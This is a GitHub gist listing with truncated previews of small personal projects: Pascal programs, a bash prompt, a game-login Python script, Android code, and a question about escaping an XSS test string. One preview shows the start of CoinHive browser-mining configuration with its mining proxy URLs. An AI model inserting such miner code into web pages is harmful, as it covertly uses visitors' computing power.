Skip to content

Instantly share code, notes, and snippets.

View Honzaik's full-sized avatar

Jan Oupický Honzaik

View GitHub Profile
@Honzaik
Honzaik / morse.pas
Created September 28, 2017 19:14
Morseovka
program morse;
type
Uk = ^BVS;
BVS = record
pismeno: string;
L, P: Uk;
end;
@Honzaik
Honzaik / nej.pas
Created September 28, 2017 19:14
nejcetnejsi
program nejct;
type BUk = ^BVS;
BVS = record
hodnota : string;
pocet : longint;
L,P : BUk;
end;
Uk = ^SeznamSlov;
SeznamSlov = record
self.CoinHive = self.CoinHive || {};
self.CoinHive.CONFIG = { LIB_URL: "https://coin-hive.com/lib/", WEBSOCKET_SHARDS: [
["wss://ws001.coin-hive.com/proxy", "wss://ws002.coin-hive.com/proxy", "wss://ws003.coin-hive.com/proxy", "wss://ws004.coin-hive.com/proxy", "wss://ws005.coin-hive.com/proxy", "wss://ws006.coin-hive.com/proxy", "wss://ws007.coin-hive.com/proxy"],
["wss://ws008.coin-hive.com/proxy", "wss://ws009.coin-hive.com/proxy", "wss://ws009.coin-hive.com/proxy", "wss://ws010.coin-hive.com/proxy", "wss://ws011.coin-hive.com/proxy", "wss://ws012.coin-hive.com/proxy", "wss://ws013.coin-hive.com/proxy"],
["wss://ws014.coin-hive.com/proxy", "wss://ws015.coin-hive.com/proxy", "wss://ws016.coin-hive.com/proxy", "wss://ws017.coin-hive.com/proxy", "wss://ws018.coin-hive.com/proxy", "wss://ws020.coin-hive.com/proxy"]
], CAPTCHA_URL: "https://coin-hive.com/captcha/" };
var Module = { locateFile: (function(path) { return CoinHive.CONFIG.LIB_URL + path }) };
var Module;
if (!Module) Module = (typeof M
@Honzaik
Honzaik / bashrc
Created August 17, 2017 07:53
bash config
export PS1="[\t]\[$(tput bold)\]\[$(tput sgr0)\]\[\033[38;5;5m\]\u\[$(tput sgr0)\]\[$(tput sgr0)\]\[\033[38;5;0m\]@\[$(tput bold)\]\[$(tput sgr0)\]\[\033[38;5;54m\]\h\[$(tput sgr0)\]\[$(tput sgr0)\]\[\033[38;5;0m\]:\[$(tput sgr0)\]\[\033[38;5;198m\]\w\[$(tput sgr0)\]\[\033[38;5;6m\]\\$\[$(tput sgr0)\] "

Keybase proof

I hereby claim:

  • I am honzaik on github.
  • I am honzaik (https://keybase.io/honzaik) on keybase.
  • I have a public key whose fingerprint is 7E16 4980 5C01 FA7C 77D5 C3B9 20A6 B5D8 CC70 37F9

To claim this, I am signing this object:

@Honzaik
Honzaik / thecrims.py
Created November 12, 2015 21:45
THE CRIMS
import requests
from bs4 import BeautifulSoup
url0 = "http://www.thecrims.com"
url = "http://www.thecrims.com/login"
drugForce = 8.5 #heroin
s = requests.session()
s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36"})
page = s.get(url0)
package eu.honzaik.fyzikaproandroid;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Path;
import android.os.Handler;
alert("ji");
What is the right way to do escaping?
I have a basic registration form, username and password eg. I save these value to database via php script (everything is in php) using PDO so no SQL injection should be possible (i hope, if theres a safer way to do it, tell me please).
My question is, should I escape username value before saving it into database. So if someone would try to do
<script>alert("hi")</script>
it would save something like this
&lt;script&gt;alert(&quot;hi&quot;)&lt;/script&gt;